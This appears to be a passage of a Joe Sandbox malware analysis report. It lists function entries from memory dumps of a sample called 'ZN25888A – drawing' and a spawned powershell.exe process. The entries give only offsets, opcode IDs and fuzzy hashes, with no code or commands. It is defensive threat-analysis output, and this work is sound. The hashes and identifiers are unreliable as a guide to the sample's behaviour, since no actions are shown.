Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 817b3d622c6efb10491edec46f0df70fa96693cd56de9107b6d375391388d604
Instruction ID: bce16d46f929e3c78029cf9d2b158f01eddb3b04b9cf91d8149b49b5da66b4ee
Opcode Fuzzy Hash: 817b3d622c6efb10491edec46f0df70fa96693cd56de9107b6d375391388d604
Instruction Fuzzy Hash: 5A21A374A1122A8FDB70DF28C994BADB7F1AB48314F0080F9E509A7B84D7345E85DF41

Function 0090D785 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1652546918.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_90d000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fa3dfdbc562cb33f8af5dab1a2f6d2b33e0288d3452f359046860cfaf279e53
Instruction ID: 2b51def1fa5cbd5869b38f300d04767117ea8bdde8cf5ef29b6ab667127eed2f
Opcode Fuzzy Hash: 1fa3dfdbc562cb33f8af5dab1a2f6d2b33e0288d3452f359046860cfaf279e53
Instruction Fuzzy Hash: BE01A2B1006380DFF7108AA5CD84B67BB9CDF46724F18C45AED195B2C2D6799844DAB2

Function 00BB1A93 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 925913293c1ad6e6d482e1326abdc8c9f8f13089236792db730c98d51d1c1fa0
Instruction ID: 894b8b7cfd1357cef4455edf11c8990ba1213186feae431ca75cf58069d42eba
Opcode Fuzzy Hash: 925913293c1ad6e6d482e1326abdc8c9f8f13089236792db730c98d51d1c1fa0
Instruction Fuzzy Hash: EC010870B002058FD7159BA9C8A8BB9BBF1EF88301F5004A5D402DB3A1EBB09C01CB10

Function 00BB0818 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22d718821c63a378632c2ab4acac7c91b70f6c0bd147f5c20d35764192022964
Instruction ID: f8f67fb64e19628eee07b5e2fab2cdaaa6977bad605ee0df1a41cdd82eb69197
Opcode Fuzzy Hash: 22d718821c63a378632c2ab4acac7c91b70f6c0bd147f5c20d35764192022964
Instruction Fuzzy Hash: 27F06D62C5E3E05FE703973858697E53FA04F23224F4A01EFC4898F4A3E6898405CBA6

Function 0568092F Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675749025.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5680000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 025406bd8f1d7308b8b60daf5a2213515f850141c5368c4449593c55df0ae68a
Instruction ID: 3c7a5b792cfc601ed2c10ce31d34187a69d8f7f47499bee997d15b8486b09a30
Opcode Fuzzy Hash: 025406bd8f1d7308b8b60daf5a2213515f850141c5368c4449593c55df0ae68a
Instruction Fuzzy Hash: 64F0F63450830C9BDB44DA74EC597ED7BA0E701320F2447AA8824572C1D5719986E682

Function 0090D784 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1652546918.000000000090D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0090D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_90d000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed5d6c7032a7ebb275d7ded114fda4c451742333a1fbf1194cd9337ad4abcfd
Instruction ID: 872f2305f7506de6774c4267c46bfbf3d91950aca9d8c3ef531dd97ed6a5cf96
Opcode Fuzzy Hash: 7ed5d6c7032a7ebb275d7ded114fda4c451742333a1fbf1194cd9337ad4abcfd
Instruction Fuzzy Hash: D2F06D72406384AEE7208E16DC88B63FBACEB55724F18C45AED495B2C6D2799844CAB1

Function 06D0621B Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04f0d6f30e9b7d7c6683f6536a99dc49232e480fffaa2d92056fa0861dea4a74
Instruction ID: e208930afb906de0f79e39e98452924accf6144cd6c549eed907834ff1664600
Opcode Fuzzy Hash: 04f0d6f30e9b7d7c6683f6536a99dc49232e480fffaa2d92056fa0861dea4a74
Instruction Fuzzy Hash: E6119374A012288FCB65DF28C994B99B7F6EB8C701F0091E6E509A7348DB345E81CF41

Function 056808C0 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675749025.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5680000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13b99d87bc15c11fd3a23df378c270009911c5de2bf45c74776b6e949931ec4d
Instruction ID: 95fe5d7f2f15e656521f067587c35afb4026aee0a4462daa4f95579daeac54e8
Opcode Fuzzy Hash: 13b99d87bc15c11fd3a23df378c270009911c5de2bf45c74776b6e949931ec4d
Instruction Fuzzy Hash: 3BE0D134508208D7D744EF74FC497FD7B74EB41314F1085999C1817341C6315D86EB92

Function 06D02F69 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85bd9f12e7c2ab148d94b501c35dbafe52582c3e581a2b4e1736ef38315be08f
Instruction ID: f3f5137cc7b5d54e28ab9d9cefb11c91c78bb3087b1ccf193336a444af3c5d58
Opcode Fuzzy Hash: 85bd9f12e7c2ab148d94b501c35dbafe52582c3e581a2b4e1736ef38315be08f
Instruction Fuzzy Hash: 4AF0F674A00619DFDBA1DF14CC54ADDB7B1AB89301F4050E5D10AAB294DA305F81CF91

Function 00BB09D0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 472d4b8c6a551d2d34a70f1f81f3b2ac8201af6b2ed59da44b06a61b7ce20df7
Instruction ID: 0ab6182034347208b4b32db568e6554057ce390611f3e0f318334a76ae8df125
Opcode Fuzzy Hash: 472d4b8c6a551d2d34a70f1f81f3b2ac8201af6b2ed59da44b06a61b7ce20df7
Instruction Fuzzy Hash: 55E0DF32F009089BCB2066A9E4186EB7BE5EBC4361F0242A5EE18A7315EF309816C7C1

Function 056812A0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675749025.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5680000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 353727b3b13ec503255ec85209dfd9e22a57dc18783e9cf00f4e89050a108d55
Instruction ID: 1abcae52098bf751f0ed56176a85ba2b6bee830a12878eb1f4fd178a0cc0577f
Opcode Fuzzy Hash: 353727b3b13ec503255ec85209dfd9e22a57dc18783e9cf00f4e89050a108d55
Instruction Fuzzy Hash: E1E09A7590C3089FC705EFA0D891AA8BBB4AB47200F2585DAD855973A2D6319E46CB92

Function 00BB0CD1 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fb5add1a54ca928f18e826690a81fdaae6e919cf90778041d641a26d2089b2e
Instruction ID: 77dfda79ff8e2e60d3d93ef6dc7df9920e08cda783e3f7e35ca78d94951743a8
Opcode Fuzzy Hash: 3fb5add1a54ca928f18e826690a81fdaae6e919cf90778041d641a26d2089b2e
Instruction Fuzzy Hash: 36E0657099420DAFDB20AB14D818BFEBFF1EB54305F140549C012A6651C7F50482DB50

Function 06D1BC20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2ad1a0e0062f791d14e1899afb02ab5728516ec8bb28f39624c9e86a09fbdbc
Instruction ID: d9f0d81543d40db62a6d6e003687b32788e0f21b23b9fdda5e2074d1bbb1e888
Opcode Fuzzy Hash: c2ad1a0e0062f791d14e1899afb02ab5728516ec8bb28f39624c9e86a09fbdbc
Instruction Fuzzy Hash: 1CE0ED74E04208EFDB84DFA8D941AACFBF5EB49300F10C4AA985897351DA719A51DF81

Function 06D03827 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efeb3ba5bb4017dabf082aa205c7110f0707a6c8a0b86b8d03622871d20c6494
Instruction ID: 040da80fc1c81255f325cfcc9022adee0ae534d8b397d2f8c895a1631f4c78a5
Opcode Fuzzy Hash: efeb3ba5bb4017dabf082aa205c7110f0707a6c8a0b86b8d03622871d20c6494
Instruction Fuzzy Hash: B0F0FE706012198FD7A4DF18C988B9AB7B6EB89704F1080EAA509A7358CB349EC1CF51

Function 06D1A1C8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2ad1a0e0062f791d14e1899afb02ab5728516ec8bb28f39624c9e86a09fbdbc
Instruction ID: cb67d2a14d22548517bc4bfc3da6872908c79d93c6a2e1805505bd5d4c81c094
Opcode Fuzzy Hash: c2ad1a0e0062f791d14e1899afb02ab5728516ec8bb28f39624c9e86a09fbdbc
Instruction Fuzzy Hash: DAE0ED74E05208EFDB84DFA8D840AACFBF4EB48310F14C0AA981997350D6719E51DF81

Function 06D1D380 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2ad1a0e0062f791d14e1899afb02ab5728516ec8bb28f39624c9e86a09fbdbc
Instruction ID: dc45ee3bea1a62b38eb435f77ade35587be668e07d759a08e537d355b26f9bcc
Opcode Fuzzy Hash: c2ad1a0e0062f791d14e1899afb02ab5728516ec8bb28f39624c9e86a09fbdbc
Instruction Fuzzy Hash: B2E0E574E04208EFD784DF98D44069CFBF5EF48300F10C0A9981897350D7719A52DF41

Function 06D15B08 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2ad1a0e0062f791d14e1899afb02ab5728516ec8bb28f39624c9e86a09fbdbc
Instruction ID: c6bca9c48eed31426ec91822fb7dcab151cc7000565b7447f3e89e30098b1b90
Opcode Fuzzy Hash: c2ad1a0e0062f791d14e1899afb02ab5728516ec8bb28f39624c9e86a09fbdbc
Instruction Fuzzy Hash: A1E0E574D04208FFD784DF98E540A9CFBF4EB88300F10C0A9981997350D7759A51DF51

Function 06D19ED8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dce9ff5b79cb5f29203d78eddf5d0bc50067ac91dc91ad4bd4e6f33a540f425
Instruction ID: 8c57d8d01a6538067d68eb6c124ecb29f7a9cd737946c893b85727cb01c3fcb3
Opcode Fuzzy Hash: 3dce9ff5b79cb5f29203d78eddf5d0bc50067ac91dc91ad4bd4e6f33a540f425
Instruction Fuzzy Hash: 5DE0ED74E05208EFD784DFA8D4906ACB7F4EB49204F10C0AA8819D7340D6719A42DF41

Function 06D1FA38 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dce9ff5b79cb5f29203d78eddf5d0bc50067ac91dc91ad4bd4e6f33a540f425
Instruction ID: d93b0201342e804cd7e4f56a5a82f86f8d5b11652db28e167105d41239fae184
Opcode Fuzzy Hash: 3dce9ff5b79cb5f29203d78eddf5d0bc50067ac91dc91ad4bd4e6f33a540f425
Instruction Fuzzy Hash: C6E01274E04208EFDB84DFA8D450AACFBF4EB48304F10C0A9C81897350D7759A42DF41

Function 06D188A0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9fe22e9761d51e0c6b3ccf3ede103c2dff4821da76bb5101ddee0b366c71d69
Instruction ID: 9e308627f6a04cc64c17fef29297ef22db6fc96492f414f4ab0fadfe3f7e5371
Opcode Fuzzy Hash: c9fe22e9761d51e0c6b3ccf3ede103c2dff4821da76bb5101ddee0b366c71d69
Instruction Fuzzy Hash: BCE04F34D08218EFD744DF94E4406ACFBF4EB89204F10C0EAC86857341C6719A42EB81

Function 056808D0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675749025.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5680000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 471174588313e45e0124bfb455c360a5beb360778a31c858abce36230afcd0e2
Instruction ID: 6359e489b44e8426263f5fc5236525503b1cbe36b20b3c1009037e3626b9b663
Opcode Fuzzy Hash: 471174588313e45e0124bfb455c360a5beb360778a31c858abce36230afcd0e2
Instruction Fuzzy Hash: A6E0C274908208DBDB44EF94E884ABCBBB4EB85314F208599C81913340C6316E86EB81

Function 056812B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675749025.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5680000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 471174588313e45e0124bfb455c360a5beb360778a31c858abce36230afcd0e2
Instruction ID: 1eb532d6ba37f1400032ce2e081c9ff5ce8265f6f866980c2883d7af838e5b34
Opcode Fuzzy Hash: 471174588313e45e0124bfb455c360a5beb360778a31c858abce36230afcd0e2
Instruction Fuzzy Hash: 8CE01234908208DBD714EF94E9919BCBBF5EB86304F2086D9C81957351D7319E97DB81

Function 06D1B0C8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1d9acf97d209782473cf09525470ce5900e1b01bf23780bf165123479d1911d
Instruction ID: 140877d318a44ccfa09599e03e3c9200b9eba2f9ad9ff930a9d4dfb43ab64c9a
Opcode Fuzzy Hash: c1d9acf97d209782473cf09525470ce5900e1b01bf23780bf165123479d1911d
Instruction Fuzzy Hash: F9E0C731900308EBE7C0FFB4E900ADE77F8DB46200F0044AAD025A3290EE324E04EBA2

Function 06D1E1B8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f9bb1867143ab73799c955d01894d1335b6dd740cb1cc96800a119e80cef204
Instruction ID: 47eef1343fe5e0ab44e2c7b6a1378b1d97dda85cd7cf0aed78380692ed8b01a3
Opcode Fuzzy Hash: 2f9bb1867143ab73799c955d01894d1335b6dd740cb1cc96800a119e80cef204
Instruction Fuzzy Hash: 41E01234D08208EBD748DF94E9859ACBBB9FB85314F2081ADDC1927351CA719E92DB81

Function 05680EF8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1675749025.0000000005680000.00000040.00000800.00020000.00000000.sdmp, Offset: 05680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5680000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33654a237d96201eb02e39e5c47a6f2fc856381c8cb1ed1713f113e39b8c29ac
Instruction ID: 89018111702b86fa45f78055e015a6cda5d3b62e67c4af8f97547125f53dd637
Opcode Fuzzy Hash: 33654a237d96201eb02e39e5c47a6f2fc856381c8cb1ed1713f113e39b8c29ac
Instruction Fuzzy Hash: B5D0A77450C208DBD744EF94D844BB9B3BCEB46218F10C99D9C1943391CB729E02D781

Function 00BB0850 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5999d863400ffdc94b8fe2d4d67aabcb62ded8ada5b8ca18615de470742feee
Instruction ID: 1271d42ed9d3e4e388731afce35f4219fe297e1fa2125851b837973cd904a799
Opcode Fuzzy Hash: c5999d863400ffdc94b8fe2d4d67aabcb62ded8ada5b8ca18615de470742feee
Instruction Fuzzy Hash: 4190223000820C8B000023A03A080C8B30C80082003800020A00C020008E00200080C8

Function 00BB09B2 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2de8576d374f49fbfff1152fbbeef706b8bb947cab80ad3a784eda77e4f4063
Instruction ID: 6e037adbbe7bd6b71ec4fa73336f41822b18677220fe39631983f812d4590fd1
Opcode Fuzzy Hash: b2de8576d374f49fbfff1152fbbeef706b8bb947cab80ad3a784eda77e4f4063
Instruction Fuzzy Hash: F9B01275D10900CFCF104720E0CC7B83F53EBC0306F1740C8E820420129A340046DB02

Non-executed Functions

Function 06D1E1F8 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1687342633.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6d00000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e71677d173ae4ddccb5eb792144ba04ffe0a98ad268f35899b05201f96e2a40e
Instruction ID: 6e727a9bdcd65408bbd3f3c1ef4dce28863e6d5db6defa415107ff0af962be6e
Opcode Fuzzy Hash: e71677d173ae4ddccb5eb792144ba04ffe0a98ad268f35899b05201f96e2a40e
Instruction Fuzzy Hash: D4814A70D05319DFEBA4DFA5D854B9DBBF2BF8A300F1480A9C849AB255D7B09986CF40

Function 00BBF208 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1653317008.0000000000BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bb0000_58955, ZN25888A #U2013 drawing.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc59361bb3155952e0aa1d221e9b8ee5efb4892dea81216c41c17248fcd23869
Instruction ID: 56d3515005ef1856903dfc8b09ec4c02dea41b502999490ad2ab85c5b7dc33f5
Opcode Fuzzy Hash: dc59361bb3155952e0aa1d221e9b8ee5efb4892dea81216c41c17248fcd23869
Instruction Fuzzy Hash: 1C71F870A153488FE708EF6AE84569EBBF3BBC9300F14D139D11A9B269EB705906DF41

Analysis Process: powershell.exePID: 7956, Parent PID: 7604COMMON

Executed Functions

Function 04FFB470 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1570405278.0000000004FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3050f212bfa0baec1348ef249561c1582e3d403137947408fcf694cc1cdcb180
Instruction ID: 68927320abdfc5427e15baf8a5d24c6a93ef8cf2110d0d531c7a56d4ec6b541a
Opcode Fuzzy Hash: 3050f212bfa0baec1348ef249561c1582e3d403137947408fcf694cc1cdcb180
Instruction Fuzzy Hash: 8FA1BF71B407185FEB15EFB888406AEBBE3EFC4710B00896DC516AB354DF34A9068BD5

Function 04FFB490 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1570405278.0000000004FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 141c7055b300739ce5b9c69013026bd5a122d2442470e3bd9cf8b521f924a1c8
Instruction ID: 572c00b9ed4ef57ea721b03a28fc5ab1cfad38fc00c842303bc62bf7cfe404ef
Opcode Fuzzy Hash: 141c7055b300739ce5b9c69013026bd5a122d2442470e3bd9cf8b521f924a1c8
Instruction Fuzzy Hash: 2B917D71F406185FEB19EFB8884066E7BE3EFC4710B00896DD516AB354DF34A9068BD5

Function 07BA2308 Relevance: .6, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1579724368.0000000007BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9662b2003e93f12a96736398bb93371322f8cc0c7d815fe7c41872cfcb9d996e
Instruction ID: 16707621726126cf7dd90f4670c637ad4b11a5fcb4b8109e89b5af0bb7fa5591
Opcode Fuzzy Hash: 9662b2003e93f12a96736398bb93371322f8cc0c7d815fe7c41872cfcb9d996e
Instruction Fuzzy Hash: A422F2F1B08206AFFB24EB6884407EAB7E2FFC5211F1480BAD555DB251DA35CD51CBA1

Function 07BA3CE8 Relevance: .6, Instructions: 568COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1579724368.0000000007BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76ba271f0d1b5220de45ffa7d564661503ab1dce37b5d6e975a5097a5ab66bd7
Instruction ID: 54a77a055b774dc2640fbc922198b5bf1c79f98e6093c9b5ffc4c5828f8c1874
Opcode Fuzzy Hash: 76ba271f0d1b5220de45ffa7d564661503ab1dce37b5d6e975a5097a5ab66bd7
Instruction Fuzzy Hash: 401236F1B08352EBEB25AB68880076ABBE2DFC1215F14C4FAD545DB351DB75C842C7A2

Function 04FFE7B8 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1570405278.0000000004FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c62820110841d6b7d918b39cf2e89b289dbb05295f5b3ea36d1b228946304ef6
Instruction ID: 8f490eec48194d39fba02c5c454cfc28a6ece0732a86929dd13dde6fb4207013
Opcode Fuzzy Hash: c62820110841d6b7d918b39cf2e89b289dbb05295f5b3ea36d1b228946304ef6
Instruction Fuzzy Hash: D0914D35F00214CFDB24DF69D99466DBBE6AF88610B198069D902EB375EF31EC42CB91

Function 04FF29F0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1570405278.0000000004FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5114edee128a017c3242695730904add958214ad759399233931beac94825a7
Instruction ID: 168267186f46fb36b775674476e7d09b6758ff607a3ffaab7543ca7ac7f8df9d
Opcode Fuzzy Hash: a5114edee128a017c3242695730904add958214ad759399233931beac94825a7
Instruction Fuzzy Hash: 2D919E74A002058FCB15CF59C894AAEFBB1FF88310B258599D915AB365D736FC52CFA0

Function 04FFE3C8 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1570405278.0000000004FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93ce50674794bcf1ed4be1f2c0e8d61f72aba546771553e92a89f6bfaf8310eb
Instruction ID: 250da67df376725c68f205ead394eebcca782004c4afb2deb875ddfec9b77624
Opcode Fuzzy Hash: 93ce50674794bcf1ed4be1f2c0e8d61f72aba546771553e92a89f6bfaf8310eb
Instruction Fuzzy Hash: 44515F74B002058FDB10DF68C884AAEBBE6EFD82147588569E549DF335EB74EC02CB91

Function 04FFBAC0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1570405278.0000000004FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ff0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
